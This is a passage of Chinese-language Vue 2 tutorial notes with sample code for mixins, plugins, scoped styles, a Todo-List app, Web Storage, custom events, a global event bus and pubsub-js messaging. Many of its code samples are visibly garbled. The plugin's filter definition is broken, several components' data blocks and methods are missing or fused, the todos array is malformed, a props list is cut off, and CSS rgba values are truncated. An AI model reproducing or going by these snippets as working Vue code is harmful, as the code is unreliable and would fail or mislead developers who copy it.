    @H_987_404@
  • 功能:可以把多个组件共用的配置提取一个混入对象

  • 使用方式:

    @H_987_404@
  • 定义混入:

    const mixin = {
        data(){....},
        methods:{....}
        ....
    }
    
  • 使用混入:

    @H_987_404@
  • 全局混入:Vue.mixin(xxx)
  • 局部混入:mixins:['xxx']
  • 备注:

    @H_987_404@
  • 组件和混入对象含有同名选项时,这些选项将以恰当的方式进行“合并”,在发生冲突时以组件优先

    var mixin = {
    	data: function () {
    		return {
        		message: 'hello',
                foo: 'abc'
        	}
      	}
    }
    
    new Vue({
      	mixins: [mixin],
      	data () {
        	return {
          		message: 'goodbye',
                bar: 'def'
        	}
        },
      	created () {
        	console.log(this.$data)
        	// => { message: "goodbye",foo: "abc",bar: "def" }
      	}
    })
    
  • 同名生命周期钩子将合并为一个数组,因此都将被调用。另外,混入对象的钩子将在组件自身钩子之前调用

    var mixin = {
      	created () {
        	console.log('混入对象的钩子被调用')
      	}
    }
    
    new Vue({
      	mixins: [mixin],
      	created () {
        	console.log('组件钩子被调用')
      	}
    })
    
    // => "混入对象的钩子被调用"
    // => "组件钩子被调用"
    
  • 3.5. plugin插件

    src/plugin.js:

    export default {
    	install(Vue,x,y,z){
    		console.log(x,z)
    		//全局过滤器
    		Vue.filter('mySlice',4)
    		})
    
    		//定义混入
    		Vue.mixin({
    			data() {
    				return {
    					x:100,
    					y:200
    				}
    			},
    		})
    
    		//给Vue原型上添加一个方法(vm和vc就都能用了)
    		Vue.prototype.hello = ()=>{alert('你好啊')}
    	}
    }
    

    src/main.js:

    import Vue from 'vue'
    import App from './App.vue'
    import plugin from './plugin'
    
    Vue.config.productionTip = false
    Vue.use(plugin,2,3)
    
    new Vue({
        el:"#app",
        render: h => h(App)
    })
    

    src/components/School.vue:

    <template>
        <div>
            <h2>学校姓名:{{name | mySlice}}</h2>
            <h2>学校地址:{{address}}</h2>   
        </div>
    </template>
    
    <script>
        export default {
            name:'School',data() {
                return {
                    name:'尚硅谷atguigu',address:'北京'
                }
            }
        }
    </script>
    

    src/components/Student.vue:

    <template>
        <div>
            <h2>学生姓名:{{name}}</h2>
            <h2>学生性别:{{sex}}</h2> 
            <button @click="test">点我测试hello方法</button>  
        </div>
    </template>
    
    <script>
        export default {
            name:'Student',methods:{
                test() {
                    this.hello()
                }
            }
        }
    </script>
    

    效果

    总结:

    插件

    @H_987_404@
  • 功能:用于增强Vue

  • 本质:包含install方法一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据

  • 定义插件

    plugin.install = function (Vue, options) {
            // 1. 添加全局过滤器
            Vue.filter(....)
        
            // 2. 添加全局指令
            Vue.directive(....)
        
            // 3. 配置全局混入
            Vue.mixin(....)
        
            // 4. 添加实例方法
            Vue.prototype.$myMethod = function () {...}
            Vue.prototype.$myProperty = xxxx
        }
    
  • 使用插件Vue.use(plugin)

  • 3.6. scoped样式

    src/components/School.vue:

    <template>
        <div class="demo">
            <h2>学校姓名:{{name}}</h2>
            <h2>学校地址:{{address}}</h2>   
        </div>
    </template>
    
    <script>
        export default {
            name:'School',address:'北京'
                }
            }
        }
    </script>
    
    <style scoped>
        .demo{
            background-color: blueviolet;
        }
    </style>
    

    src/components/Student.vue

    <template>
        <div class="demo">
            <h2>学生姓名:{{name}}</h2>
            <h2>学生性别:{{sex}}</h2> 
        </div>
    </template>
    
    <script>
        export default {
            name:'Student',sex:'男'
                }
            }
        }
    </script>
    
    <style scoped>
        .demo{
            background-color: chartreuse;
        }
    </style>
    

    src/App.vue:

    <template>
        <div>
            <School/>
            <Student/>
        </div>
    </template>
    
    <script>
        import Student from './components/Student.vue'
        import School from './components/School.vue'
    
        export default {
            name:'App',}
    </script>
    

    效果

    总结:

    scoped样式:

    @H_987_404@
  • 作用:让样式在局部生效,防止冲突
  • 写法:<style scoped>
  • scoped样式一般不会在App.vue中使用

    3.7. Todo-List案例

    src/components/MyHeader.vue:

    <template>
        <div class="todo-header">
            <input type="text" placeholder="请输入你的任务名称,按回车键确认" @keydown.enter="add" v-model="title"/>
        </div>
    </template>
    
    <script>
        import {nanoid} from 'nanoid'
        export default {
            name:'MyHeader',data() {
                return {
                    title:''
                }
            },methods:{
                add(){
                    if(!this.title.trim()) return
                    const todoObj = {id:nanoid(),title:this.title,done:false}
                    this.addTodo(todoObj)
                    this.title = ''
                }
            },props:['addTodo']
        }
    </script>
    
    <style scoped>
        .todo-header input {
            width: 560px;
            height: 28px;
            font-size: 14px;
            border: 1px solid #ccc;
            border-radius: 4px;
            padding: 4px 7px;
        }
    
        .todo-header input:focus {
            outline: none;
            border-color: rgba(82,168,236,0.8);
            Box-shadow: inset 0 1px 1px rgba(0,0.075),0 0 8px rgba(82,0.6);
        }
    </style>
    

    src/components/MyItem.vue:

    <template>
        <li>
            <label>
                <input type="checkBox" :checked="todo.done" @click="handleCheck(todo.id)"/>
                <span>{{todo.title}}</span>
            </label>
            <button class="btn btn-danger" @click="handleDelete(todo.id,todo.title)">删除</button>
        </li>
    </template>
    
    <script>
        export default {
            name:'MyItem',props:['todo','checkTodo','deletetodo'],methods:{
                handleCheck(id){
                    this.checkTodo(id)
                },handleDelete(id,title){
                    if(confirm("确定删除任务:"+title+"吗?")){
                        this.deletetodo(id)
                    }
                }
            }
        }
    </script>
    
    <style scoped>
        li {
            list-style: none;
            height: 36px;
            line-height: 36px;
            padding: 0 5px;
            border-bottom: 1px solid #ddd;
        }
    
        li label {
            float: left;
            cursor: pointer;
        }
    
        li label li input {
            vertical-align: middle;
            margin-right: 6px;
            position: relative;
            top: -1px;
        }
    
        li button {
            float: right;
            display: none;
            margin-top: 3px;
        }
    
        li:before {
            content: initial;
        }
    
        li:last-child {
            border-bottom: none;
        }
    
        li:hover {
            background-color: #eee;
        }
    
        li:hover button{
            display: block;
        }
    </style>
    

    src/components/MyList.vue:

    <template>
        <ul class="todo-main">
            <MyItem 
                v-for="todo in todos" 
                :key="todo.id" 
                :todo="todo" 
                :checkTodo="checkTodo"
                :deletetodo="deletetodo"
            />
        </ul>
    </template>
    
    <script>
        import MyItem from './MyItem.vue'
    
        export default {
            name:'MyList',components:{MyItem},props:['todos','deletetodo']
        }
    </script>
    
    <style scoped>
        .todo-main {
            margin-left: 0px;
            border: 1px solid #ddd;
            border-radius: 2px;
            padding: 0px;
        }
    
        .todo-empty {
            height: 40px;
            line-height: 40px;
            border: 1px solid #ddd;
            border-radius: 2px;
            padding-left: 5px;
            margin-top: 10px;
        }
    </style>
    

    src/components/MyFooter.vue:

    <template>
        <div class="todo-footer" v-show="total">
            <label>
                <input type="checkBox" v-model="isAll"/>
            </label>
            <span>
                <span>已完成{{donetotal}}</span> / 全部{{total}}
            </span>
            <button class="btn btn-danger" @click="clearall">清除已完成任务</button>
        </div>
    </template>
    
    <script>
        export default {
            name:'MyFooter','checkAllTodo','clearallTodo'],computed:{
                donetotal(){
                    return this.todos.reduce((pre,todo)=> pre + (todo.done ? 1 : 0),0)
                },total(){
                    return this.todos.length
                },isAll:{
                    get(){
                        return this.total === this.donetotal && this.total > 0
                    },set(value){
                        this.checkAllTodo(value)
                    }
                }
            },methods:{
                clearall(){
                    this.clearallTodo()
                }
            }
        }
    </script>
    
    <style scoped>
        .todo-footer {
            height: 40px;
            line-height: 40px;
            padding-left: 6px;
            margin-top: 5px;
            }
    
        .todo-footer label {
            display: inline-block;
            margin-right: 20px;
            cursor: pointer;
        }
    
        .todo-footer label input {
            position: relative;
            top: -1px;
            vertical-align: middle;
            margin-right: 5px;
        }
    
        .todo-footer button {
            float: right;
            margin-top: 5px;
        }
    </style>
    

    src/App.vue:

    <template>
        <div id="root">
            <div class="todo-container">
                <div class="todo-wrap">
                <MyHeader :addTodo="addTodo"/>
                <MyList :todos="todos" :checkTodo="checkTodo" :deletetodo="deletetodo"/>
                <MyFooter :todos="todos" :checkAllTodo="checkAllTodo" :clearallTodo="clearallTodo"/>
                </div>
            </div>
        </div>
    </template>
    
    <script>
        import MyHeader from './components/MyHeader.vue'
        import MyList from './components/MyList.vue'
        import MyFooter from './components/MyFooter.vue'
    
        export default {
            name:'App',components: { MyHeader,MyList,MyFooter },data() {
                return {
                    todos:[
                        {id:'001',title:'抽烟',done:false},{id:'002',title:'喝酒',{id:'003',title:'烫头',]
                }
            },methods:{
                //添加一个todo
                addTodo(todoObj){
                    this.todos.unshift(todoObj)
                },//勾选or取消勾选一个todo
                checkTodo(id){
                    this.todos.forEach((todo)=>{
                        if(todo.id === id) todo.done = !todo.done
                    })
                },//删除一个todo
                deletetodo(id){
                    this.todos = this.todos.filter(todo => todo.id !== id)
                },//全选or取消勾选
                checkAllTodo(done){
                    this.todos.forEach(todo => todo.done = done)
                },//删除已完成的todo
                clearallTodo(){
                    this.todos = this.todos.filter(todo => !todo.done)
                }
            }
        }
    </script>
    
    <style>
        body {
        	background: #fff;
        }
    
        .btn {
            display: inline-block;
            padding: 4px 12px;
            margin-bottom: 0;
            font-size: 14px;
            line-height: 20px;
            text-align: center;
            vertical-align: middle;
            cursor: pointer;
            Box-shadow: inset 0 1px 0 rgba(255,255,0.2),0 1px 2px rgba(0,0.05);
            border-radius: 4px;
        }
    
        .btn-danger {
            color: #fff;
            background-color: #da4f49;
            border: 1px solid #bd362f;
        }
    
        .btn-danger:hover {
            color: #fff;
            background-color: #bd362f;
        }
    
        .btn:focus {
        	outline: none;
        }
    
        .todo-container {
            width: 600px;
            margin: 0 auto;
        }
        .todo-container .todo-wrap {
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
    </style>
    

    效果

    总结:

    • 组件化编码流程:

      @H_987_404@
    • 拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突
    • 实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用: @H_987_404@
    • 一个组件在用:放在组件自身即可
    • 一些组件在用:放在他们共同的父组件上(状态提升
    • 实现交互:从绑定事件开始
    • props适用于:

      @H_987_404@
    • 父组件 ==> 子组件 通信
    • 子组件 ==> 父组件 通信(要求父组件先给子组件一个函数
    • 使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改

    • props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做

    3.8. WebStorage

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <Meta http-equiv="X-UA-Compatible" content="IE=edge">
        <Meta name="viewport" content="width=device-width,initial-scale=1.0">
        <title>localStorage</title>
    </head>
    <body>
        <h2>localStorage</h2>
        <button onclick="saveDate()">点我保存数据</button><br/>
        <button onclick="readDate()">点我读数据</button><br/>
        <button onclick="deleteDate()">点我删除数据</button><br/>
        <button onclick="deleteallDate()">点我清空数据</button><br/>
    
        <script>
            let person = {name:"JOJO",age:20}
    
            function saveDate(){
                localStorage.setItem('msg','localStorage')
                localStorage.setItem('person',JSON.stringify(person))
            }
            function readDate(){
                console.log(localStorage.getItem('msg'))
                const person = localStorage.getItem('person')
                console.log(JSON.parse(person))
            }
            function deleteDate(){
                localStorage.removeItem('msg')
                localStorage.removeItem('person')
            }
            function deleteallDate(){
                localStorage.clear()
            }
        </script>
    </body>
    </html>
    
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <Meta http-equiv="X-UA-Compatible" content="IE=edge">
        <Meta name="viewport" content="width=device-width,initial-scale=1.0">
        <title>sessionStorage</title>
    </head>
    <body>
        <h2>sessionStorage</h2>
        <button onclick="saveDate()">点我保存数据</button><br/>
        <button onclick="readDate()">点我读数据</button><br/>
        <button onclick="deleteDate()">点我删除数据</button><br/>
        <button onclick="deleteallDate()">点我清空数据</button><br/>
    
        <script>
            let person = {name:"JOJO",age:20}
    
            function saveDate(){
                sessionStorage.setItem('msg','sessionStorage')
                sessionStorage.setItem('person',JSON.stringify(person))
            }
            function readDate(){
                console.log(sessionStorage.getItem('msg'))
                const person = sessionStorage.getItem('person')
                console.log(JSON.parse(person))
            }
            function deleteDate(){
                sessionStorage.removeItem('msg')
                sessionStorage.removeItem('person')
            }
            function deleteallDate(){
                sessionStorage.clear()
            }
        </script>
    </body>
    </html>
    

    总结:

    @H_987_404@
  • 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)

  • 浏览器端通过Window.sessionStorageWindow.localStorage属性来实现本地存储机制

  • 相关API:

    @H_987_404@
  • xxxStorage.setItem('key','value'):该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值
  • xxxStorage.getItem('key'):该方法接受一个键名作为参数,返回键名对应的值
  • xxxStorage.removeItem('key'):该方法接受一个键名作为参数,并把该键名从存储中删除
  • xxxStorage.clear():该方法会清空存储中的所有数据
  • 备注:

    @H_987_404@
  • SessionStorage存储的内容会随着浏览器窗口关闭而消失
  • LocalStorage存储的内容,需要手动清除才会消失
  • xxxStorage.getItem(xxx)如果 xxx 对应的 value 获取不到,那么getItem()的返回值是null
  • JSON.parse(null)的结果依然是null
  • 使用本地存储优化Todo-List:

    src/App.vue:

    <template>
        <div id="root">
            <div class="todo-container">
                <div class="todo-wrap">
                <MyHeader :addTodo="addTodo"/>
                <MyList :todos="todos" :checkTodo="checkTodo" :deletetodo="deletetodo"/>
                <MyFooter :todos="todos" :checkAllTodo="checkAllTodo" :clearallTodo="clearallTodo"/>
                </div>
            </div>
        </div>
    </template>
    
    <script>
        import MyHeader from './components/MyHeader.vue'
        import MyList from './components/MyList.vue'
        import MyFooter from './components/MyFooter.vue'
    
        export default {
            name:'App',data() {
                return {
                    //若localStorage中存有'todos'则从localStorage中取出,否则初始为空数组
                    todos:JSON.parse(localStorage.getItem('todos')) || []
                }
            },//删除已完成的todo
                clearallTodo(){
                    this.todos = this.todos.filter(todo => !todo.done)
                }
            },watch:{
                todos:{
                    //由于todos是对象数组,所以必须开启深度监视才能发现数组中对象的变化
                    deep:true,handler(value){
                        localStorage.setItem('todos',JSON.stringify(value))
                    }
                }
            }
        }
    </script>
    
    <style>
        body {
        	background: #fff;
        }
    
        .btn {
            display: inline-block;
            padding: 4px 12px;
            margin-bottom: 0;
            font-size: 14px;
            line-height: 20px;
            text-align: center;
            vertical-align: middle;
            cursor: pointer;
            Box-shadow: inset 0 1px 0 rgba(255,0.05);
            border-radius: 4px;
        }
    
        .btn-danger {
            color: #fff;
            background-color: #da4f49;
            border: 1px solid #bd362f;
        }
    
        .btn-danger:hover {
            color: #fff;
            background-color: #bd362f;
        }
    
        .btn:focus {
        	outline: none;
        }
    
        .todo-container {
            width: 600px;
            margin: 0 auto;
        }
        .todo-container .todo-wrap {
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
    </style>
    

    3.9. 自定义事件

    3.9.1. 绑定

    src/App.vue:

    <template>
        <div class="app">
            <!-- 通过父组件给子组件传递函数类型的props实现子给父传递数据 -->
            <School :getSchoolName="getSchoolName"/>
    
            <!-- 通过父组件给子组件绑定一个自定义事件实现子给父传递数据(第一种写法,使用@或v-on) -->
            <!-- <Student @jojo="getStudentName"/> -->
    
            <!-- 通过父组件给子组件绑定一个自定义事件实现子给父传递数据(第二种写法,使用ref) -->
    		<Student ref="student"/>
        </div>
    </template>
    
    <script>
        import Student from './components/Student.vue'
        import School from './components/School.vue'
    
        export default {
            name:'App',methods:{
                getSchoolName(name){
                    console.log("已收到学校的名称:"+name)
                },getStudentName(name){
                    console.log("已收到学生的姓名:"+name)      
                }
            },mounted(){
                this.$refs.student.$on('jojo',this.getStudentName)
            }
        }
    </script>
    
    
    <style scoped>
    	.app{
    		background-color: gray;
    		padding: 5px;
    	}
    </style>
    

    src/components/Student.vue:

    <template>
        <div class="student">
            <h2>学生姓名:{{name}}</h2>
            <h2>学生性别:{{sex}}</h2>
            <button @click="sendStudentName">点我传递学生姓名</button> 
        </div>
    </template>
    
    <script>
        export default {
            name:'Student',methods:{
                sendStudentName(){
                    this.$emit('jojo',this.name)
                }
            }
        }
    </script>
    
    <style scoped>
        .student{
            background-color: chartreuse;
            padding: 5px;
    		margin-top: 30px;
        }
    </style>
    

    效果

    3.9.2. 解绑

    src/App.vue:

    <template>
        <div class="app">
            <Student @jojo="getStudentName"/>
        </div>
    </template>
    
    <script>
        import Student from './components/Student.vue'
    
        export default {
            name:'App',methods:{
                getStudentName(name){
                    console.log("已收到学生的姓名:"+name)      
                }
            }
        }
    </script>
    
    <style scoped>
    	.app{
    		background-color: gray;
    		padding: 5px;
    	}
    </style>
    

    src/components/Student.vue:

    <template>
        <div class="student">
            <h2>学生姓名:{{name}}</h2>
            <h2>学生性别:{{sex}}</h2>
            <button @click="sendStudentName">点我传递学生姓名</button> 
            <button @click="unbind">解绑自定义事件</button> 
        </div>
    </template>
    
    <script>
        export default {
            name:'Student',this.name)
                },unbind(){
                    // 解绑一个自定义事件
                    // this.$off('jojo')
                    // 解绑多个自定义事件
                    // this.$off(['jojo'])
                    // 解绑所有自定义事件
                    this.$off()
                }
            }
        }
    </script>
    
    <style scoped>
        .student{
            background-color: chartreuse;
            padding: 5px;
    		margin-top: 30px;
        }
    </style>
    

    效果


    总结:

    组件的自定义事件:

    @H_987_404@
  • 一种组件间通信的方式,适用于:==子组件 > 父组件

  • 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中

  • 绑定自定义事件:

    @H_987_404@
  • 第一种方式,在父组件中:<Demo @atguigu="test"/><Demo v-on:atguigu="test"/>

  • 第二种方式,在父组件中:

    <Demo ref="demo"/>
    ...
    mounted(){
        this.$refs.demo.$on('atguigu',data)
    }
    
  • 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法

  • 触发自定义事件:this.$emit('atguigu',数据)

  • 解绑自定义事件:this.$off('atguigu')

  • 组件上也可以绑定原生DOM事件,需要使用native修饰符

  • 注意:通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时,回调要么配置在methods中要么用箭头函数,否则this指向会出问题!

  • 使用自定义事件优化Todo-List:

    src/App.vue:

    <template>
        <div id="root">
            <div class="todo-container">
                <div class="todo-wrap">
                <MyHeader @addTodo="addTodo"/>
                <MyList :todos="todos" :checkTodo="checkTodo" :deletetodo="deletetodo"/>
                <MyFooter :todos="todos" @checkAllTodo="checkAllTodo" @clearallTodo="clearallTodo"/>
                </div>
            </div>
        </div>
    </template>
    
    <script>
        import MyHeader from './components/MyHeader.vue'
        import MyList from './components/MyList.vue'
        import MyFooter from './components/MyFooter.vue'
    
        export default {
            name:'App',data() {
                return {
                    todos:JSON.parse(localStorage.getItem('todos')) || []
                }
            },watch:{
                todos:{
                    deep:true,0.05);
            border-radius: 4px;
        }
    
        .btn-danger {
            color: #fff;
            background-color: #da4f49;
            border: 1px solid #bd362f;
        }
    
        .btn-danger:hover {
            color: #fff;
            background-color: #bd362f;
        }
    
        .btn:focus {
       		outline: none;
        }
    
        .todo-container {
        	width: 600px;
        	margin: 0 auto;
        }
        .todo-container .todo-wrap {
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
    </style>
    

    src/components/MyHeader.vue:

    <template>
        <div class="todo-header">
            <input type="text" placeholder="请输入你的任务名称,按回车键确认" @keydown.enter="add" v-model="title"/>
        </div>
    </template>
    
    <script>
        import {nanoid} from 'nanoid'
        export default {
            name:'MyHeader',done:false}
                    this.$emit('addTodo',todoObj)
                    this.title = ''
                }
            }
        }
    </script>
    
    <style scoped>
        /*header*/
        .todo-header input {
            width: 560px;
            height: 28px;
            font-size: 14px;
            border: 1px solid #ccc;
            border-radius: 4px;
            padding: 4px 7px;
        }
    
        .todo-header input:focus {
            outline: none;
            border-color: rgba(82,0.6);
        }
    </style>
    

    src/components/MyFooter:

    <template>
        <div class="todo-footer" v-show="total">
            <label>
                <input type="checkBox" v-model="isAll"/>
            </label>
            <span>
                <span>已完成{{donetotal}}</span> / 全部{{total}}
            </span>
            <button class="btn btn-danger" @click="clearall">清除已完成任务</button>
        </div>
    </template>
    
    <script>
        export default {
            name:'MyFooter',props:['todos'],set(value){
                        this.$emit('checkAllTodo',value)
                    }
                }
            },methods:{
                clearall(){
                    this.$emit('clearallTodo')
                }
            }
        }
    </script>
    
    <style scoped>
        .todo-footer {
            height: 40px;
            line-height: 40px;
            padding-left: 6px;
            margin-top: 5px;
            }
    
        .todo-footer label {
            display: inline-block;
            margin-right: 20px;
            cursor: pointer;
        }
    
        .todo-footer label input {
            position: relative;
            top: -1px;
            vertical-align: middle;
            margin-right: 5px;
        }
    
        .todo-footer button {
            float: right;
            margin-top: 5px;
        }
    </style>
    

    3.10. 全局事件总线

    全局事件总线是一种可以在任意组件间通信的方式,本质上就是一个对象。它必须满足以下条件:1. 所有的组件对象都必须能看见他 2. 这个对象必须能够使用$on$emit$off方法去绑定、触发和解绑事件

    src/main.js:

    import Vue from 'vue'
    import App from './App.vue'
    
    Vue.config.productionTip = false
    
    new Vue({
    	el:'#app',
    	render: h => h(App),
    	beforeCreate() {
    		Vue.prototype.$bus = this //安装全局事件总线
    	}
    })
    

    src/App.vue:

    <template>
    	<div class="app">
    		<School/>
    		<Student/>
    	</div>
    </template>
    
    <script>
    	import Student from './components/Student'
    	import School from './components/School'
    
    	export default {
    		name:'App',components:{School,Student}
    	}
    </script>
    
    <style scoped>
    	.app{
    		background-color: gray;
    		padding: 5px;
    	}
    </style>
    

    src/components/School.vue:

    <template>
    	<div class="school">
    		<h2>学校名称:{{name}}</h2>
    		<h2>学校地址:{{address}}</h2>
    	</div>
    </template>
    
    <script>
    	export default {
    		name:'School',data() {
    			return {
    				name:'尚硅谷',address:'北京',}
    		},methods:{
    			demo(data) {
    				console.log('我是School组件,收到了数据:',data)
    			}
    		},mounted() {
    			this.$bus.$on('demo',this.demo)
    		},beforeDestroy() {
    			this.$bus.$off('demo')
    		},}
    </script>
    
    <style scoped>
    	.school{
    		background-color: skyblue;
    		padding: 5px;
    	}
    </style>
    

    src/components/Student.vue:

    <template>
    	<div class="student">
    		<h2>学生姓名:{{name}}</h2>
    		<h2>学生性别:{{sex}}</h2>
    		<button @click="sendStudentName">把学生名给School组件</button>
    	</div>
    </template>
    
    <script>
    	export default {
    		name:'Student',data() {
    			return {
    				name:'张三',sex:'男'
    			}
    		},methods: {
    			sendStudentName(){
    				this.$bus.$emit('demo',this.name)
    			}
    		}
    	}
    </script>
    
    <style scoped>
    	.student{
    		background-color: pink;
    		padding: 5px;
    		margin-top: 30px;
    	}
    </style>
    

    效果

    总结:

    全局事件总线(GlobalEventBus):

    @H_987_404@
  • 一种组件间通信的方式,适用于任意组件间通信

  • 安装全局事件总线:

    new Vue({
       	...
       	beforeCreate() {
       		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
       	},
        ...
    }) 
    
  • 使用事件总线:

    @H_987_404@
  • 接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身

    export default {
        methods(){
            demo(data){...}
        }
        ...
        mounted() {
            this.$bus.$on('xxx',this.demo)
        }
    }
    
  • 提供数据:this.$bus.$emit('xxx',data)

  • 最好在beforeDestroy钩子中,用$off解绑当前组件所用到的事件

  • 使用自定义事件优化Todo-List:

    src/mian.js:

    import Vue from 'vue'
    import App from './App.vue'
    
    Vue.config.productionTip = false
    
    new Vue({
        el:"#app",
        beforeCreate() {
            Vue.prototype.$bus = this
        }
    })
    

    src/components/App.vue

    <template>
        <div id="root">
            <div class="todo-container">
                <div class="todo-wrap">
                <MyHeader @addTodo="addTodo"/>
                <MyList :todos="todos"/>
                <MyFooter :todos="todos" @checkAllTodo="checkAllTodo" @clearallTodo="clearallTodo"/>
                </div>
            </div>
        </div>
    </template>
    
    <script>
        import MyHeader from './components/MyHeader.vue'
        import MyList from './components/MyList.vue'
        import MyFooter from './components/MyFooter.vue'
    
        export default {
            name:'App',JSON.stringify(value))
                    }
                }
            },mounted(){
                this.$bus.$on('checkTodo',this.checkTodo)
                this.$bus.$on('deletetodo',this.deletetodo)
            },beforeDestroy(){
                this.$bus.$off(['checkTodo','deletetodo'])
            }
        }
    </script>
    
    <style>
        body {
            background: #fff;
        }
    
        .btn {
            display: inline-block;
            padding: 4px 12px;
            margin-bottom: 0;
            font-size: 14px;
            line-height: 20px;
            text-align: center;
            vertical-align: middle;
            cursor: pointer;
            Box-shadow: inset 0 1px 0 rgba(255,0.05);
            border-radius: 4px;
        }
    
        .btn-danger {
            color: #fff;
            background-color: #da4f49;
            border: 1px solid #bd362f;
        }
    
        .btn-danger:hover {
            color: #fff;
            background-color: #bd362f;
        }
    
        .btn:focus {
            outline: none;
        }
    
        .todo-container {
            width: 600px;
            margin: 0 auto;
        }
        .todo-container .todo-wrap {
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
    </style>
    

    src/components/MyItem.vue:

    <template>
        <li>
            <label>
                <input type="checkBox" :checked="todo.done" @click="handleCheck(todo.id)"/>
                <span>{{todo.title}}</span>
            </label>
            <button class="btn btn-danger" @click="handleDelete(todo.id,props:['todo'],methods:{
                handleCheck(id){
                    this.$bus.$emit('checkTodo',id)
                },title){
                    if(confirm("确定删除任务:"+title+"吗?")){
                        this.$bus.$emit('deletetodo',id)
                    }
                }
            }
        }
    </script>
    
    <style scoped>
        li {
            list-style: none;
            height: 36px;
            line-height: 36px;
            padding: 0 5px;
            border-bottom: 1px solid #ddd;
        }
    
        li label {
            float: left;
            cursor: pointer;
        }
    
        li label li input {
            vertical-align: middle;
            margin-right: 6px;
            position: relative;
            top: -1px;
        }
    
        li button {
            float: right;
            display: none;
            margin-top: 3px;
        }
    
        li:before {
            content: initial;
        }
    
        li:last-child {
            border-bottom: none;
        }
    
        li:hover {
            background-color: #eee;
        }
    
        li:hover button{
            display: block;
        }
    </style>
    

    3.11. 消息的订阅与发布

    src/components/School.vue:

    <template>
    	<div class="school">
    		<h2>学校名称:{{name}}</h2>
    		<h2>学校地址:{{address}}</h2>
    	</div>
    </template>
    
    <script>
    	import pubsub from 'pubsub-js'
    
    	export default {
    		name:'School',methods:{
    			demo(msgName,data) {
    				console.log('我是School组件,收到了数据:',mounted() {
    			this.pubId = pubsub.subscribe('demo',this.demo) //订阅消息
    		},beforeDestroy() {
    			pubsub.unsubscribe(this.pubId) //取消订阅
    		}
    	}
    </script>
    
    <style scoped>
    	.school{
    		background-color: skyblue;
    		padding: 5px;
    	}
    </style>
    

    src/components/Student.vue:

    <template>
    	<div class="student">
    		<h2>学生姓名:{{name}}</h2>
    		<h2>学生性别:{{sex}}</h2>
    		<button @click="sendStudentName">把学生名给School组件</button>
    	</div>
    </template>
    
    <script>
    	import pubsub from 'pubsub-js'
    
    	export default {
    		name:'Student',data() {
    			return {
    				name:'JOJO',sex:'男',methods: {
    			sendStudentName(){
    				pubsub.publish('demo',this.name) //发布消息
    			}
    		}
    	}
    </script>
    
    <style scoped>
    	.student{
    		background-color: pink;
    		padding: 5px;
    		margin-top: 30px;
    	}
    </style>
    

    效果

    总结:

    消息订阅与发布(pubsub):

    @H_987_404@
  • 消息订阅与发布是一种组件间通信的方式,适用于任意组件间通信

  • 使用步骤:

    @H_987_404@
  • 安装pubsub:npm i pubsub-js

  • 引入:import pubsub from 'pubsub-js'

  • 接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身

    export default {
        methods(){
            demo(data){...}
        }
        ...
        mounted() {
    		this.pid = pubsub.subscribe('xxx',this.demo)
        }
    }
    
  • 提供数据:pubsub.publish('xxx',data)

  • 最好在beforeDestroy钩子中,使用pubsub.unsubscribe(pid)取消订阅

  • 使用消息的订阅与发布优化Todo-List:

    src/App.vue:

    <template>
        <div id="root">
            <div class="todo-container">
                <div class="todo-wrap">
                <MyHeader @addTodo="addTodo"/>
                <MyList :todos="todos"/>
                <MyFooter :todos="todos" @checkAllTodo="checkAllTodo" @clearallTodo="clearallTodo"/>
                </div>
            </div>
        </div>
    </template>
    
    <script>
        import pubsub from 'pubsub-js'
        import MyHeader from './components/MyHeader.vue'
        import MyList from './components/MyList.vue'
        import MyFooter from './components/MyFooter.vue'
    
    
        export default {
            name:'App',//勾选or取消勾选一个todo
                checkTodo(_,id){
                    this.todos.forEach((todo)=>{
                        if(todo.id === id) todo.done = !todo.done
                    })
                },mounted(){
                this.pubId = pubsub.subscribe('checkTodo',beforeDestroy(){
                pubsub.unsubscribe(this.pubId)
                this.$bus.$off('deletetodo')
            }
        }
    </script>
    
    <style>
        body {
            background: #fff;
        }
    
        .btn {
            display: inline-block;
            padding: 4px 12px;
            margin-bottom: 0;
            font-size: 14px;
            line-height: 20px;
            text-align: center;
            vertical-align: middle;
            cursor: pointer;
            Box-shadow: inset 0 1px 0 rgba(255,0.05);
            border-radius: 4px;
        }
    
        .btn-danger {
            color: #fff;
            background-color: #da4f49;
            border: 1px solid #bd362f;
        }
    
        .btn-danger:hover {
            color: #fff;
            background-color: #bd362f;
        }
    
        .btn:focus {
            outline: none;
        }
    
        .todo-container {
            width: 600px;
            margin: 0 auto;
        }
        .todo-container .todo-wrap {
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
    </style>
    

    src/components/myItem.vue:

    <template>
        <li>
            <label>
                <input type="checkBox" :checked="todo.done" @click="handleCheck(todo.id)"/>
                <span>{{todo.title}}</span>
            </label>
            <button class="btn btn-danger" @click="handleDelete(todo.id,todo.title)">删除</button>
        </li>
    </template>
    
    <script>
        import pubsub from 'pubsub-js'
        export default {
            name:'MyItem',methods:{
                handleCheck(id){                    
                    pubsub.publish('checkTodo',id)
                    }
                }
            }
        }
    </script>
    
    <style scoped>
        li {
            list-style: none;
            height: 36px;
            line-height: 36px;
            padding: 0 5px;
            border-bottom: 1px solid #ddd;
        }
    
        li label {
            float: left;
            cursor: pointer;
        }
    
        li label li input {
            vertical-align: middle;
            margin-right: 6px;
            position: relative;
            top: -1px;
        }
    
